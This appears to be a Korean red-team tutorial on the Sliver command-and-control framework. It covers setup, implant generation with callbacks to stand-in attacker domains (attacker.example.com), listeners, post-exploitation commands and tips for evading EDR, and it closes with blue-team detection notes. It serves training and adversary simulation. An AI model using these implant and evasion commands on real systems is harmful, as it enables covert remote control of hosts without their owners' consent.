ATT&CK: T1071 Application Layer Protocol · Command and Control (TA0011)

Sliver는 BishopFox가 공개한 Go 기반 C2 프레임워크. 상용 Cobalt Strike의 교육/오픈 대안으로 자리잡았고, Mythic과 함께 오픈소스 레드팀 교육의 표준.

1. 아키텍처

Operator (CLI)  <-- mTLS -->  Sliver Server  <-- Transport (HTTP/DNS/mTLS/WG) -->  Implant
  • Server: Go 바이너리 하나. 세션/작업/파일/페이로드 관리.
  • Operator: 서버에 로그인하는 CLI (sliver-client). 다수 운영자 동시 접속 가능.
  • Implant: 각 대상 호스트에서 돌아가는 beacon/session 바이너리.

2. 설치 (랩 환경)

# 서버 (랩/VPS)
curl https://sliver.sh/install | sudo bash

# 서비스로 돌림
sudo systemctl enable --now sliver

# 운영자 설정 발급
sliver-server operator --name alice --lhost 127.0.0.1 --save alice.cfg

# 클라이언트로 접속
sliver-client import alice.cfg
sliver-client

3. Session vs Beacon

모드 특징
session 대화형, 즉시 응답. 트래픽 지속적.
beacon 간격 기반 체크인. 조용, 대신 응답 지연.

실전 레드팀 작업은 beacon이 기본. 체크인 간격·지터 조정으로 네트워크 지문 분산.

4. implant 생성

4.1 HTTP(S) beacon

sliver > generate beacon --http https://attacker.example.com:443 \
                         --os linux --arch amd64 \
                         --name demo \
                         --save ./implants/

4.2 mTLS session (가장 조용)

sliver > generate --mtls attacker.example.com:8443 \
                  --os windows --arch amd64 \
                  --save ./implants/

4.3 DNS (느리지만 egress 거의 안 막힘)

sliver > generate --dns beacon.attacker.com --os linux

5. 리스너

implant를 받으려면 서버에 리스너:

sliver > https --domain attacker.example.com --lport 443
sliver > mtls --lport 8443
sliver > dns --domains beacon.attacker.com

6. 세션에서 할 수 있는 것

세션 선택 후:

[server] sliver > sessions
[server] sliver > use <session-id>

흔한 명령:

  • info — 세션 정보
  • getuid, getpid, pwd, ls, cat
  • shell — 상호작용 셸 (OPSEC 위험 — 바로 중단되기 좋음)
  • execute "cmd" — 비동기 명령 실행
  • upload / download
  • portfwd — 포트 포워딩
  • socks5 — SOCKS5 프록시 시작 → pivot
  • screenshot, ps

7. 플러그인 (Armory)

Sliver는 Armory라는 플러그인 저장소:

sliver > armory
sliver > armory install <extension-name>

주요 플러그인: BOF (Beacon Object File) 로더, in-memory .NET 실행, 커스텀 모듈 등.

8. OPSEC — 레드팀 랩에서 흔한 설정

  • beacon 간격 지터: generate beacon --jitter 60 등으로 체크인 패턴 분산.
  • HTTPS C2 도메인: 평판 좋은 도메인 분류 (예: domain fronting, redirector).
  • implant obfuscation: Sliver는 자체 symbol stripping 지원. UPX·Garble 추가로 지문 변경.
  • transport rotation: 주 채널 HTTPS + 백업 DNS.

9. 블루팀 관점

  • Sliver 기본 implant는 알려진 YARA 룰 다수 공개. 커스텀 빌드 안 하면 EDR이 즉시 탐지.
  • HTTPS beacon 트래픽은 JA3/JA3S fingerprint로 TLS 지문 식별 가능.
  • DNS beacon은 subdomain 길이·엔트로피 패턴으로 Zeek dns.log에서 식별.
  • 레드팀 랩에서 Sliver로 공격 → 블루팀이 탐지 룰 작성·검증하는 적대적 시뮬레이션이 가장 흔한 사용 패턴.

10. 유사 도구

도구 성격
Sliver Go, 오픈소스, 범용
Mythic Python, 다중 agent 지원 (Apollo, Poseidon 등), 모듈형
Covenant C#, .NET 중심 (유지보수 둔화)
Metasploit (Meterpreter) 레거시 교육용, EDR이 매우 민감
Cobalt Strike 상용 (Fortra). 레드팀 표준이지만 라이선스 비쌈

참고